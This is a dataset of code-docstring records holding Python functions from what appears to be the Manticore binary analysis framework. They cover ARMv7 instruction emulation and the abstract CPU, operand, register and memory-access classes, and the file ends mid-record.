{"signature": "def _UXT(cpu, dest, src, src_width):", "body": "val = GetNBits(src.read(), src_width)<EOL>word = Operators.ZEXTEND(val, cpu.address_bit_size)<EOL>dest.write(word)<EOL>", "docstring": "Helper for UXT* family of instructions.\n\n:param ARMv7Operand dest: the destination register; register\n:param ARMv7Operand dest: the source register; register\n:param int src_width: bits to consider of the src operand", "id": "f16977:c4:m31"}
{"signature": "@instruction<EOL><INDENT>def UXTB(cpu, dest, src):<DEDENT>", "body": "cpu._UXT(dest, src, <NUM_LIT:8>)<EOL>", "docstring": "UXTB extracts an 8-bit value from a register, zero-extends\nit to the size of the register, and writes the result to the destination register.\n\n:param ARMv7Operand dest: the destination register; register\n:param ARMv7Operand dest: the source register; register", "id": "f16977:c4:m32"}
{"signature": "@instruction<EOL><INDENT>def UXTH(cpu, dest, src):<DEDENT>", "body": "cpu._UXT(dest, src, <NUM_LIT:16>)<EOL>", "docstring": "UXTH extracts an 16-bit value from a register, zero-extends\nit to the size of the register, and writes the result to the destination register.\n\n:param ARMv7Operand dest: the destination register; register\n:param ARMv7Operand dest: the source register; register", "id": "f16977:c4:m33"}
{"signature": "@instruction<EOL><INDENT>def PLD(cpu, addr, offset=None):<DEDENT>", "body": "", "docstring": "PLD instructs the cpu that the address at addr might be loaded soon.", "id": "f16977:c4:m34"}
{"signature": "@instruction<EOL><INDENT>def ADR(cpu, dest, src):<DEDENT>", "body": "aligned_pc = (cpu.instruction.address + <NUM_LIT:4>) & <NUM_LIT><EOL>dest.write(aligned_pc + src.read())<EOL>", "docstring": "Address to Register adds an immediate value to the PC value, and writes the result to the destination register.\n\n:param ARMv7Operand dest: Specifies the destination register.\n:param ARMv7Operand src:\n    Specifies the label of an instruction or literal data item whose address is to be loaded into\n    <Rd>. The assembler calculates the required value of the offset from the Align(PC,4)\n    value of the ADR instruction to this label.", "id": "f16977:c4:m54"}
{"signature": "@instruction<EOL><INDENT>def ADDW(cpu, dest, src, add):<DEDENT>", "body": "aligned_pc = (cpu.instruction.address + <NUM_LIT:4>) & <NUM_LIT><EOL>if src.type == '<STR_LIT>' and src.reg in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>src = aligned_pc<EOL><DEDENT>else:<EOL><INDENT>src = src.read()<EOL><DEDENT>dest.write(src + add.read())<EOL>", "docstring": "This instruction adds an immediate value to a register value, and writes the result to the destination register.\nIt doesn't update the condition flags.\n\n:param ARMv7Operand dest: Specifies the destination register. If omitted, this register is the same as src.\n:param ARMv7Operand src:\n    Specifies the register that contains the first operand. If the SP is specified for dest, see ADD (SP plus\n    immediate). If the PC is specified for dest, see ADR.\n:param ARMv7Operand add:\n    Specifies the immediate value to be added to the value obtained from src. The range of allowed values is\n    0-4095.", "id": "f16977:c4:m55"}
{"signature": "@instruction<EOL><INDENT>def SUBW(cpu, dest, src, add):<DEDENT>", "body": "aligned_pc = (cpu.instruction.address + <NUM_LIT:4>) & <NUM_LIT><EOL>if src.type == '<STR_LIT>' and src.reg in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>src = aligned_pc<EOL><DEDENT>else:<EOL><INDENT>src = src.read()<EOL><DEDENT>dest.write(src - add.read())<EOL>", "docstring": "This instruction subtracts an immediate value from a register value, and writes the result to the destination\nregister. It can optionally update the condition flags based on the result.\n\n:param ARMv7Operand dest: Specifies the destination register. If omitted, this register is the same as src.\n:param ARMv7Operand src:\n    Specifies the register that contains the first operand. If the SP is specified for dest, see ADD (SP plus\n    immediate). If the PC is specified for dest, see ADR.\n:param ARMv7Operand add:\n    Specifies the immediate value to be added to the value obtained from src. The range of allowed values is\n    0-4095.", "id": "f16977:c4:m56"}
{"signature": "@instruction<EOL><INDENT>def CBZ(cpu, op, dest):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size,<EOL>op.read(), cpu.PC, dest.read())<EOL>", "docstring": "Compare and Branch on Zero compares the value in a register with zero, and conditionally branches forward\na constant value. It does not affect the condition flags.\n\n:param ARMv7Operand op: Specifies the register that contains the first operand.\n:param ARMv7Operand dest:\n    Specifies the label of the instruction that is to be branched to. The assembler calculates the\n    required value of the offset from the PC value of the CBZ instruction to this label, then\n    selects an encoding that will set imm32 to that offset. Allowed offsets are even numbers in\n    the range 0 to 126.", "id": "f16977:c4:m60"}
{"signature": "@instruction<EOL><INDENT>def CBNZ(cpu, op, dest):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size,<EOL>op.read(), dest.read(), cpu.PC)<EOL>", "docstring": "Compare and Branch on Non-Zero compares the value in a register with zero, and conditionally branches\nforward a constant value. It does not affect the condition flags.\n\n:param ARMv7Operand op: Specifies the register that contains the first operand.\n:param ARMv7Operand dest:\n    Specifies the label of the instruction that is to be branched to. The assembler calculates the\n    required value of the offset from the PC value of the CBNZ instruction to this label, then\n    selects an encoding that will set imm32 to that offset. Allowed offsets are even numbers in\n    the range 0 to 126.", "id": "f16977:c4:m61"}
{"signature": "@instruction<EOL><INDENT>def TBB(cpu, dest):<DEDENT>", "body": "<EOL>base_addr = dest.get_mem_base_addr()<EOL>if dest.mem.base in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>base_addr = cpu.PC<EOL><DEDENT>offset = cpu.read_int(base_addr + dest.get_mem_offset(), <NUM_LIT:8>)<EOL>offset = Operators.ZEXTEND(offset, cpu.address_bit_size)<EOL>cpu.PC += (offset << <NUM_LIT:1>)<EOL>", "docstring": "Table Branch Byte causes a PC-relative forward branch using a table of single byte offsets. A base register\nprovides a pointer to the table, and a second register supplies an index into the table. The branch length is\ntwice the value of the byte returned from the table.\n\n:param ARMv7Operand dest: see below; register", "id": "f16977:c4:m64"}
{"signature": "@instruction<EOL><INDENT>def TBH(cpu, dest):<DEDENT>", "body": "<EOL>base_addr = dest.get_mem_base_addr()<EOL>if dest.mem.base in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>base_addr = cpu.PC<EOL><DEDENT>offset = cpu.read_int(base_addr + dest.get_mem_offset(), <NUM_LIT:16>)<EOL>offset = Operators.ZEXTEND(offset, cpu.address_bit_size)<EOL>cpu.PC += (offset << <NUM_LIT:1>)<EOL>", "docstring": "Table Branch Halfword causes a PC-relative forward branch using a table of single halfword offsets. A base\nregister provides a pointer to the table, and a second register supplies an index into the table. The branch\nlength is twice the value of the halfword returned from the table.\n\n:param ARMv7Operand dest: see below; register", "id": "f16977:c4:m65"}
{"signature": "def _LDM(cpu, insn_id, base, regs):", "body": "if cpu.instruction.usermode:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>increment = insn_id in (cs.arm.ARM_INS_LDM, cs.arm.ARM_INS_LDMIB)<EOL>after = insn_id in (cs.arm.ARM_INS_LDM, cs.arm.ARM_INS_LDMDA)<EOL>address = base.read()<EOL>for reg in regs:<EOL><INDENT>if not after:<EOL><INDENT>address += (<NUM_LIT:1> if increment else -<NUM_LIT:1>) * (reg.size // <NUM_LIT:8>)<EOL><DEDENT>reg.write(cpu.read_int(address, reg.size))<EOL>if reg.reg in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>cpu._set_mode_by_val(cpu.PC)<EOL>cpu.PC = cpu.PC & ~<NUM_LIT:1><EOL><DEDENT>if after:<EOL><INDENT>address += (<NUM_LIT:1> if increment else -<NUM_LIT:1>) * (reg.size // <NUM_LIT:8>)<EOL><DEDENT><DEDENT>if cpu.instruction.writeback:<EOL><INDENT>base.writeback(address)<EOL><DEDENT>", "docstring": "LDM (Load Multiple) loads a non-empty subset, or possibly all, of the general-purpose registers from\nsequential memory locations. It is useful for block loads, stack operations and procedure exit sequences.\n\n:param int insn_id: should be one of ARM_INS_LDM, ARM_INS_LDMIB, ARM_INS_LDMDA, ARM_INS_LDMDB\n:param Armv7Operand base: Specifies the base register.\n:param list[Armv7Operand] regs:\n    Is a list of registers. It specifies the set of registers to be loaded by the LDM instruction.\n    The registers are loaded in sequence, the lowest-numbered register from the lowest memory\n    address (start_address), through to the highest-numbered register from the highest memory\n    address (end_address). If the PC is specified in the register list (opcode bit[15] is set),\n    the instruction causes a branch to the address (data) loaded into the PC.\n\nIt's technically UNKNOWN if you writeback to a register you loaded into, but we let it slide.", "id": "f16977:c4:m73"}
{"signature": "def _STM(cpu, insn_id, base, regs):", "body": "if cpu.instruction.usermode:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>increment = insn_id in (cs.arm.ARM_INS_STM, cs.arm.ARM_INS_STMIB)<EOL>after = insn_id in (cs.arm.ARM_INS_STM, cs.arm.ARM_INS_STMDA)<EOL>address = base.read()<EOL>for reg in regs:<EOL><INDENT>if not after:<EOL><INDENT>address += (<NUM_LIT:1> if increment else -<NUM_LIT:1>) * (reg.size // <NUM_LIT:8>)<EOL><DEDENT>cpu.write_int(address, reg.read(), reg.size)<EOL>if after:<EOL><INDENT>address += (<NUM_LIT:1> if increment else -<NUM_LIT:1>) * (reg.size // <NUM_LIT:8>)<EOL><DEDENT><DEDENT>if cpu.instruction.writeback:<EOL><INDENT>base.writeback(address)<EOL><DEDENT>", "docstring": "STM (Store Multiple) stores a non-empty subset (or possibly all) of the general-purpose registers to\nsequential memory locations.\n\n:param int insn_id: should be one of ARM_INS_STM, ARM_INS_STMIB, ARM_INS_STMDA, ARM_INS_STMDB\n:param Armv7Operand base: Specifies the base register.\n:param list[Armv7Operand] regs:\n    Is a list of registers. It specifies the set of registers to be stored by the STM instruction.\n    The registers are stored in sequence, the lowest-numbered register to the lowest\n    memory address (start_address), through to the highest-numbered register to the\n    highest memory address (end_address).", "id": "f16977:c4:m78"}
{"signature": "def _SR(cpu, insn_id, dest, op, *rest):", "body": "assert insn_id in (cs.arm.ARM_INS_ASR, cs.arm.ARM_INS_LSL, cs.arm.ARM_INS_LSR)<EOL>if insn_id == cs.arm.ARM_INS_ASR:<EOL><INDENT>if rest and rest[<NUM_LIT:0>].type == '<STR_LIT>':<EOL><INDENT>srtype = cs.arm.ARM_SFT_ASR<EOL><DEDENT>else:<EOL><INDENT>srtype = cs.arm.ARM_SFT_ASR_REG<EOL><DEDENT><DEDENT>elif insn_id == cs.arm.ARM_INS_LSL:<EOL><INDENT>if rest and rest[<NUM_LIT:0>].type == '<STR_LIT>':<EOL><INDENT>srtype = cs.arm.ARM_SFT_LSL<EOL><DEDENT>else:<EOL><INDENT>srtype = cs.arm.ARM_SFT_LSL_REG<EOL><DEDENT><DEDENT>elif insn_id == cs.arm.ARM_INS_LSR:<EOL><INDENT>if rest and rest[<NUM_LIT:0>].type == '<STR_LIT>':<EOL><INDENT>srtype = cs.arm.ARM_SFT_LSR<EOL><DEDENT>else:<EOL><INDENT>srtype = cs.arm.ARM_SFT_LSR_REG<EOL><DEDENT><DEDENT>carry = cpu.regfile.read('<STR_LIT>')<EOL>if rest and rest[<NUM_LIT:0>].type == '<STR_LIT>':<EOL><INDENT>result, carry = cpu._shift(op.read(), srtype, rest[<NUM_LIT:0>].op.reg, carry)<EOL><DEDENT>elif rest and rest[<NUM_LIT:0>].type == '<STR_LIT>':<EOL><INDENT>amount = rest[<NUM_LIT:0>].read()<EOL>result, carry = cpu._shift(op.read(), srtype, amount, carry)<EOL><DEDENT>elif cpu.mode == cs.CS_MODE_THUMB:<EOL><INDENT>result, carry = cpu._shift(dest.read(), srtype, op, carry)<EOL><DEDENT>else:<EOL><INDENT>result, carry = op.read(with_carry=True)<EOL><DEDENT>dest.write(result)<EOL>cpu.set_flags(N=HighBit(result), Z=(result == <NUM_LIT:0>), C=carry)<EOL>", "docstring": "Notes on Capstone behavior:\n- In ARM mode, _SR reg has `rest`, but _SR imm does not, its baked into `op`.\n- In ARM mode, `lsr r1, r2` will have a `rest[0]`\n- In Thumb mode, `lsr r1, r2` will have an empty `rest`\n- In ARM mode, something like `lsr r1, 3` will not have `rest` and op will be\n    the immediate.", "id": "f16977:c4:m92"}
{"signature": "@instruction<EOL><INDENT>def DMB(cpu, *operands):<DEDENT>", "body": "", "docstring": "Used by the the __kuser_dmb ARM Linux user-space handler. This is a nop\nunder Manticore's memory and execution model.", "id": "f16977:c4:m106"}
{"signature": "@instruction<EOL><INDENT>def LDCL(cpu, *operands):<DEDENT>", "body": "", "docstring": "Occasionally used in glibc (longjmp in ld.so). Nop under our execution model.", "id": "f16977:c4:m107"}
{"signature": "def __init__(self, cpu, op):", "body": "assert isinstance(cpu, Cpu)<EOL>self.cpu = cpu<EOL>self.op = op<EOL>self.mem = Operand.MemSpec(self)<EOL>", "docstring": "This encapsulates the arch-independent way to access instruction\noperands and immediates based on the disassembler operand descriptor in\nuse. This class knows how to browse an operand and get its details.\n\nIt also knows how to access the specific Cpu to get the actual values\nfrom memory and registers.\n\n:param Cpu cpu: A Cpu instance\n:param Operand op: An wrapped Instruction Operand\n:type op: X86Op or ArmOp", "id": "f16980:c9:m0"}
{"signature": "def _reg_name(self, reg_id):", "body": "if reg_id >= X86_REG_ENDING:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>cs_reg_name = self.cpu.instruction.reg_name(reg_id)<EOL>if cs_reg_name is None or cs_reg_name.lower() == '<STR_LIT>':<EOL><INDENT>return None<EOL><DEDENT>return self.cpu._regfile._alias(cs_reg_name.upper())<EOL>", "docstring": "Translates a register ID from the disassembler object into the\nregister name based on manticore's alias in the register file\n\n:param int reg_id: Register ID", "id": "f16980:c9:m1"}
{"signature": "@property<EOL><INDENT>def type(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "This property encapsulates the operand type.\n            It may be one of the following:\n                register\n                memory\n                immediate", "id": "f16980:c9:m3"}
{"signature": "@property<EOL><INDENT>def size(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return bit size of operand", "id": "f16980:c9:m4"}
{"signature": "def address(self):", "body": "raise NotImplementedError<EOL>", "docstring": "On a memory operand it returns the effective address", "id": "f16980:c9:m6"}
{"signature": "def read(self):", "body": "raise NotImplementedError<EOL>", "docstring": "It reads the operand value from the registers or memory", "id": "f16980:c9:m7"}
{"signature": "def write(self, value):", "body": "raise NotImplementedError<EOL>", "docstring": "It writes the value of specific type to the registers or memory", "id": "f16980:c9:m8"}
{"signature": "def _alias(self, register):", "body": "return self._aliases.get(register, register)<EOL>", "docstring": "Get register canonical alias. ex. PC->RIP or PC->R15\n\n:param str register: The register name", "id": "f16980:c10:m1"}
{"signature": "def write(self, register, value):", "body": "raise NotImplementedError<EOL>", "docstring": "Write value to the specified register\n\n:param str register: a register id. Must be listed on all_registers\n:param value: a value of the expected type\n:type value: int or long or Expression\n:return: the value actually written to the register", "id": "f16980:c10:m2"}
{"signature": "def read(self, register):", "body": "raise NotImplementedError<EOL>", "docstring": "Read value from specified register\n\n:param str register: a register name. Must be listed on all_registers\n:return: the register value", "id": "f16980:c10:m3"}
{"signature": "@property<EOL><INDENT>def all_registers(self):<DEDENT>", "body": "return tuple(self._aliases)<EOL>", "docstring": "Lists all possible register names (Including aliases)", "id": "f16980:c10:m4"}
{"signature": "@property<EOL><INDENT>def canonical_registers(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "List the minimal most beautiful set of registers needed", "id": "f16980:c10:m5"}
{"signature": "def __contains__(self, register):", "body": "return self._alias(register) in self.all_registers<EOL>", "docstring": "Check for register validity\n\n:param register: a register name", "id": "f16980:c10:m6"}
{"signature": "def __init__(self, cpu):", "body": "self._cpu = cpu<EOL>", "docstring": ":param manticore.core.cpu.Cpu cpu: CPU to initialize with", "id": "f16980:c11:m0"}
{"signature": "def get_arguments(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Extract model arguments conforming to `convention`. Produces an iterable\nof argument descriptors following the calling convention. A descriptor\nis either a string describing a register, or an address (concrete or\nsymbolic).\n\n:return: iterable returning syscall arguments.\n:rtype: iterable", "id": "f16980:c11:m1"}
{"signature": "def write_result(self, result):", "body": "raise NotImplementedError<EOL>", "docstring": "Write the result of a model back to the environment.\n\n:param result: result of the model implementation", "id": "f16980:c11:m2"}
{"signature": "def ret(self):", "body": "return<EOL>", "docstring": "Handle the \"ret\" semantics of the ABI, i.e. reclaiming stack space,\npopping PC, etc.\n\nA null operation by default.", "id": "f16980:c11:m3"}
{"signature": "def values_from(self, base):", "body": "word_bytes = self._cpu.address_bit_size // <NUM_LIT:8><EOL>while True:<EOL><INDENT>yield base<EOL>base += word_bytes<EOL><DEDENT>", "docstring": "A reusable generator for increasing pointer-sized values from an address\n(usually the stack).", "id": "f16980:c11:m4"}
{"signature": "def get_argument_values(self, model, prefix_args):", "body": "spec = inspect.getfullargspec(model)<EOL>if spec.varargs:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL><DEDENT>nargs = len(spec.args) - len(prefix_args)<EOL>if inspect.ismethod(model):<EOL><INDENT>nargs -= <NUM_LIT:1><EOL><DEDENT>def resolve_argument(arg):<EOL><INDENT>if isinstance(arg, str):<EOL><INDENT>return self._cpu.read_register(arg)<EOL><DEDENT>else:<EOL><INDENT>return self._cpu.read_int(arg)<EOL><DEDENT><DEDENT>descriptors = self.get_arguments()<EOL>argument_iter = map(resolve_argument, descriptors)<EOL>from ..models import isvariadic  <EOL>if isvariadic(model):<EOL><INDENT>arguments = prefix_args + (argument_iter,)<EOL><DEDENT>else:<EOL><INDENT>arguments = prefix_args + tuple(islice(argument_iter, nargs))<EOL><DEDENT>return arguments<EOL>", "docstring": "Extract arguments for model from the environment and return as a tuple that\nis ready to be passed to the model.\n\n:param callable model: Python model of the function\n:param tuple prefix_args: Parameters to pass to model before actual ones\n:return: Arguments to be passed to the model\n:rtype: tuple", "id": "f16980:c11:m5"}
{"signature": "def invoke(self, model, prefix_args=None):", "body": "prefix_args = prefix_args or ()<EOL>arguments = self.get_argument_values(model, prefix_args)<EOL>try:<EOL><INDENT>result = model(*arguments)<EOL><DEDENT>except ConcretizeArgument as e:<EOL><INDENT>assert e.argnum >= len(prefix_args), \"<STR_LIT>\"<EOL>idx = e.argnum - len(prefix_args)<EOL>descriptors = self.get_arguments()<EOL>src = next(islice(descriptors, idx, idx + <NUM_LIT:1>))<EOL>msg = '<STR_LIT>'<EOL>if isinstance(src, str):<EOL><INDENT>raise ConcretizeRegister(self._cpu, src, msg)<EOL><DEDENT>else:<EOL><INDENT>raise ConcretizeMemory(self._cpu.memory, src, self._cpu.address_bit_size, msg)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if result is not None:<EOL><INDENT>self.write_result(result)<EOL><DEDENT>self.ret()<EOL><DEDENT>return result<EOL>", "docstring": "Invoke a callable `model` as if it was a native function. If\n:func:`~manticore.models.isvariadic` returns true for `model`, `model` receives a single\nargument that is a generator for function arguments. Pass a tuple of\narguments for `prefix_args` you'd like to precede the actual\narguments.\n\n:param callable model: Python model of the function\n:param tuple prefix_args: Parameters to pass to model before actual ones\n:return: The result of calling `model`", "id": "f16980:c11:m6"}
{"signature": "def syscall_number(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Extract the index of the invoked syscall.\n\n:return: int", "id": "f16980:c12:m0"}
{"signature": "@property<EOL><INDENT>def regfile(self):<DEDENT>", "body": "return self._regfile<EOL>", "docstring": "The RegisterFile of this cpu", "id": "f16980:c13:m4"}
{"signature": "@property<EOL><INDENT>def all_registers(self):<DEDENT>", "body": "return self._regfile.all_registers<EOL>", "docstring": "Returns all register names for this CPU. Any register returned can be\naccessed via a `cpu.REG` convenience interface (e.g. `cpu.EAX`) for both\nreading and writing.\n\n:return: valid register names\n:rtype: tuple[str]", "id": "f16980:c13:m5"}
{"signature": "@property<EOL><INDENT>def canonical_registers(self):<DEDENT>", "body": "return self._regfile.canonical_registers<EOL>", "docstring": "Returns the list of all register names  for this CPU.\n\n:rtype: tuple\n:return: the list of register names for this CPU.", "id": "f16980:c13:m6"}
{"signature": "def write_register(self, register, value):", "body": "self._publish('<STR_LIT>', register, value)<EOL>value = self._regfile.write(register, value)<EOL>self._publish('<STR_LIT>', register, value)<EOL>return value<EOL>", "docstring": "Dynamic interface for writing cpu registers\n\n:param str register: register name (as listed in `self.all_registers`)\n:param value: register value\n:type value: int or long or Expression", "id": "f16980:c13:m7"}
{"signature": "def read_register(self, register):", "body": "self._publish('<STR_LIT>', register)<EOL>value = self._regfile.read(register)<EOL>self._publish('<STR_LIT>', register, value)<EOL>return value<EOL>", "docstring": "Dynamic interface for reading cpu registers\n\n:param str register: register name (as listed in `self.all_registers`)\n:return: register value\n:rtype: int or long or Expression", "id": "f16980:c13:m8"}
{"signature": "def __getattr__(self, name):", "body": "if name != '<STR_LIT>':<EOL><INDENT>if name in self._regfile:<EOL><INDENT>return self.read_register(name)<EOL><DEDENT><DEDENT>raise AttributeError(name)<EOL>", "docstring": "A Pythonic version of read_register\n\n:param str name: Name of the register", "id": "f16980:c13:m9"}
{"signature": "def __setattr__(self, name, value):", "body": "try:<EOL><INDENT>if name in self._regfile:<EOL><INDENT>return self.write_register(name, value)<EOL><DEDENT>object.__setattr__(self, name, value)<EOL><DEDENT>except AttributeError:<EOL><INDENT>object.__setattr__(self, name, value)<EOL><DEDENT>", "docstring": "A Pythonic version of write_register\n\n:param str name: Name of the register to set\n:param value: The value to set the register to\n:type param: int or long or Expression", "id": "f16980:c13:m10"}
{"signature": "def emulate_until(self, target: int):", "body": "self._concrete = True<EOL>self._break_unicorn_at = target<EOL>if self.emu:<EOL><INDENT>self.emu._stop_at = target<EOL><DEDENT>", "docstring": "Tells the CPU to set up a concrete unicorn emulator and use it to execute instructions\nuntil target is reached.\n\n:param target: Where Unicorn should hand control back to Manticore. Set to 0 for all instructions.", "id": "f16980:c13:m11"}
{"signature": "def write_int(self, where, expression, size=None, force=False):", "body": "if size is None:<EOL><INDENT>size = self.address_bit_size<EOL><DEDENT>assert size in SANE_SIZES<EOL>self._publish('<STR_LIT>', where, expression, size)<EOL>data = [Operators.CHR(Operators.EXTRACT(expression, offset, <NUM_LIT:8>)) for offset in range(<NUM_LIT:0>, size, <NUM_LIT:8>)]<EOL>self._memory.write(where, data, force)<EOL>self._publish('<STR_LIT>', where, expression, size)<EOL>", "docstring": "Writes int to memory\n\n:param int where: address to write to\n:param expr: value to write\n:type expr: int or BitVec\n:param size: bit size of `expr`\n:param force: whether to ignore memory permissions", "id": "f16980:c13:m13"}
{"signature": "def _raw_read(self, where: int, size=<NUM_LIT:1>) -> bytes:", "body": "map = self.memory.map_containing(where)<EOL>start = map._get_offset(where)<EOL>mapType = type(map)<EOL>if mapType is FileMap:<EOL><INDENT>end = map._get_offset(where + size)<EOL>if end > map._mapped_size:<EOL><INDENT>logger.warning(f\"<STR_LIT>\")<EOL><DEDENT>raw_data = map._data[map._get_offset(where): min(end, map._mapped_size)]<EOL>if len(raw_data) < end:<EOL><INDENT>raw_data += b'<STR_LIT:\\x00>' * (end - len(raw_data))<EOL><DEDENT>data = b'<STR_LIT>'<EOL>for offset in sorted(map._overlay.keys()):<EOL><INDENT>data += raw_data[len(data):offset]<EOL>data += map._overlay[offset]<EOL><DEDENT>data += raw_data[len(data):]<EOL><DEDENT>elif mapType is AnonMap:<EOL><INDENT>data = bytes(map._data[start:start + size])<EOL><DEDENT>else:<EOL><INDENT>data = b'<STR_LIT>'.join(self.memory[where:where + size])<EOL><DEDENT>assert len(data) == size, '<STR_LIT>'<EOL>return data<EOL>", "docstring": "Selects bytes from memory. Attempts to do so faster than via read_bytes.\n\n:param where: address to read from\n:param size: number of bytes to read\n:return: the bytes in memory", "id": "f16980:c13:m14"}
{"signature": "def read_int(self, where, size=None, force=False):", "body": "if size is None:<EOL><INDENT>size = self.address_bit_size<EOL><DEDENT>assert size in SANE_SIZES<EOL>self._publish('<STR_LIT>', where, size)<EOL>data = self._memory.read(where, size // <NUM_LIT:8>, force)<EOL>assert (<NUM_LIT:8> * len(data)) == size<EOL>value = Operators.CONCAT(size, *map(Operators.ORD, reversed(data)))<EOL>self._publish('<STR_LIT>', where, value, size)<EOL>return value<EOL>", "docstring": "Reads int from memory\n\n:param int where: address to read from\n:param size: number of bits to read\n:return: the value read\n:rtype: int or BitVec\n:param force: whether to ignore memory permissions", "id": "f16980:c13:m15"}
{"signature": "def write_bytes(self, where, data, force=False):", "body": "mp = self.memory.map_containing(where)<EOL>can_write_raw = type(mp) is AnonMap andisinstance(data, (str, bytes)) and(mp.end - mp.start + <NUM_LIT:1>) >= len(data) >= <NUM_LIT> andnot issymbolic(data) andself._concrete<EOL>if can_write_raw:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>offset = mp._get_offset(where)<EOL>if isinstance(data, str):<EOL><INDENT>data = bytes(data.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>mp._data[offset:offset + len(data)] = data<EOL>self._publish('<STR_LIT>', where, data, <NUM_LIT:8> * len(data))<EOL><DEDENT>else:<EOL><INDENT>for i in range(len(data)):<EOL><INDENT>self.write_int(where + i, Operators.ORD(data[i]), <NUM_LIT:8>, force)<EOL><DEDENT><DEDENT>", "docstring": "Write a concrete or symbolic (or mixed) buffer to memory\n\n:param int where: address to write to\n:param data: data to write\n:type data: str or list\n:param force: whether to ignore memory permissions", "id": "f16980:c13:m16"}
{"signature": "def read_bytes(self, where, size, force=False):", "body": "result = []<EOL>for i in range(size):<EOL><INDENT>result.append(Operators.CHR(self.read_int(where + i, <NUM_LIT:8>, force)))<EOL><DEDENT>return result<EOL>", "docstring": "Read from memory.\n\n:param int where: address to read data from\n:param int size: number of bytes\n:param force: whether to ignore memory permissions\n:return: data\n:rtype: list[int or Expression]", "id": "f16980:c13:m17"}
{"signature": "def write_string(self, where, string, max_length=None, force=False):", "body": "if max_length is not None:<EOL><INDENT>string = string[:max_length - <NUM_LIT:1>]<EOL><DEDENT>self.write_bytes(where, string + '<STR_LIT:\\x00>', force)<EOL>", "docstring": "Writes a string to memory, appending a NULL-terminator at the end.\n:param int where: Address to write the string to\n:param str string: The string to write to memory\n:param int max_length:\n    The size in bytes to cap the string at, or None [default] for no\n    limit. This includes the NULL terminator.\n:param force: whether to ignore memory permissions", "id": "f16980:c13:m18"}
{"signature": "def read_string(self, where, max_length=None, force=False):", "body": "s = io.BytesIO()<EOL>while True:<EOL><INDENT>c = self.read_int(where, <NUM_LIT:8>, force)<EOL>if issymbolic(c) or c == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>if max_length is not None:<EOL><INDENT>if max_length == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>max_length = max_length - <NUM_LIT:1><EOL><DEDENT>s.write(Operators.CHR(c))<EOL>where += <NUM_LIT:1><EOL><DEDENT>return s.getvalue().decode()<EOL>", "docstring": "Read a NUL-terminated concrete buffer from memory. Stops reading at first symbolic byte.\n\n:param int where: Address to read string from\n:param int max_length:\n    The size in bytes to cap the string at, or None [default] for no\n    limit.\n:param force: whether to ignore memory permissions\n:return: string read\n:rtype: str", "id": "f16980:c13:m19"}
{"signature": "def push_bytes(self, data, force=False):", "body": "self.STACK -= len(data)<EOL>self.write_bytes(self.STACK, data, force)<EOL>return self.STACK<EOL>", "docstring": "Write `data` to the stack and decrement the stack pointer accordingly.\n\n:param str data: Data to write\n:param force: whether to ignore memory permissions", "id": "f16980:c13:m20"}
{"signature": "def pop_bytes(self, nbytes, force=False):", "body": "data = self.read_bytes(self.STACK, nbytes, force=force)<EOL>self.STACK += nbytes<EOL>return data<EOL>", "docstring": "Read `nbytes` from the stack, increment the stack pointer, and return\ndata.\n\n:param int nbytes: How many bytes to read\n:param force: whether to ignore memory permissions\n:return: Data read from the stack", "id": "f16980:c13:m21"}
{"signature": "def push_int(self, value, force=False):", "body": "self.STACK -= self.address_bit_size // <NUM_LIT:8><EOL>self.write_int(self.STACK, value, force=force)<EOL>return self.STACK<EOL>", "docstring": "Decrement the stack pointer and write `value` to the stack.\n\n:param int value: The value to write\n:param force: whether to ignore memory permissions\n:return: New stack pointer", "id": "f16980:c13:m22"}
{"signature": "def pop_int(self, force=False):", "body": "value = self.read_int(self.STACK, force=force)<EOL>self.STACK += self.address_bit_size // <NUM_LIT:8><EOL>return value<EOL>", "docstring": "Read a value from the stack and increment the stack pointer.\n\n:param force: whether to ignore memory permissions\n:return: Value read", "id": "f16980:c13:m23"}
{"signature": "def _wrap_operands(self, operands):", "body": "raise NotImplementedError<EOL>", "docstring": "Private method to decorate an Operand to our needs based on the\nunderlying architecture.\nSee :class:`~manticore.core.cpu.abstractcpu.Operand` class", "id": "f16980:c13:m24"}
{"signature": "def decode_instruction(self, pc):", "body": "<EOL>if pc in self._instruction_cache:<EOL><INDENT>return self._instruction_cache[pc]<EOL><DEDENT>text = b'<STR_LIT>'<EOL>for address in range(pc, pc + self.max_instr_width):<EOL><INDENT>if not self.memory.access_ok(address, '<STR_LIT:x>'):<EOL><INDENT>break<EOL><DEDENT>c = self.memory[address]<EOL>if issymbolic(c):<EOL><INDENT>if isinstance(self.memory, LazySMemory):<EOL><INDENT>try:<EOL><INDENT>vals = visitors.simplify_array_select(c)<EOL>c = bytes([vals[<NUM_LIT:0>]])<EOL><DEDENT>except visitors.ArraySelectSimplifier.ExpressionNotSimple:<EOL><INDENT>c = struct.pack('<STR_LIT:B>', solver.get_value(self.memory.constraints, c))<EOL><DEDENT><DEDENT>elif isinstance(c, Constant):<EOL><INDENT>c = bytes([c.value])<EOL><DEDENT>else:<EOL><INDENT>logger.error('<STR_LIT>', c, text)<EOL>raise ConcretizeMemory(self.memory,<EOL>address=pc,<EOL>size=<NUM_LIT:8> * self.max_instr_width,<EOL>policy='<STR_LIT>')<EOL><DEDENT><DEDENT>text += c<EOL><DEDENT>code = text.ljust(self.max_instr_width, b'<STR_LIT:\\x00>')<EOL>try:<EOL><INDENT>insn = self.disasm.disassemble_instruction(code, 